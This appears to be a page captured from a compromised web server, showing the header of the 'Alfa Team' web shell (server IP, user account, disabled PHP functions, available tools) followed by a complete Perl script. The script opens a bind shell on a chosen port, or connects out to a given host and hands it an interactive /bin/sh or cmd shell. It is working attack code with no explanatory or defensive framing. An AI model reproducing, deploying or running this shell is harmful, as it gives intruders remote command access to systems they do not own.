| Server IP : 51.79.230.26 / Your IP : 216.73.217.128 Web Server : LiteSpeed System : Linux sg2.exonhost.com 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64 User : mukutpub ( 1151) PHP Version : 8.2.33 Disable Function : eval, show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, symlink, mail MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/tmp/ |
Upload File : |
#!/usr/bin/env perl
use IO::Socket;
$os=$^O;
$sh="export TERM=xterm;PS1='\$PWD\>';export PS1;/bin/sh -i";
if($os=~m/win/i){$sh="%COMSPEC% /K";}
$t=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$t)||die();
if(@ARGV==1){
$p=$ARGV[0];
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($p,INADDR_ANY))||die();
listen(S,3)||die();
accept(C,S);
send(C,"~ Alfa Team Shell ~\n",0);
open STDIN,"<&C";open STDOUT,">&C";open STDERR,">&C";
exec $sh||die();
close(C);close(S);close(STDIN);close(STDOUT);close(STDERR);
exit 0;
}
elsif(@ARGV==2){
$p=$ARGV[0];
$h=$ARGV[1];
$i=inet_aton($h)||die();
$a=sockaddr_in($p,$i)||die();
connect(S,$a)||die();
send(S,"~ Alfa Team Shell ~\n",0);
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec $sh||die();
close(S);close(STDIN);close(STDOUT);close(STDERR);
}
else{exit(1);}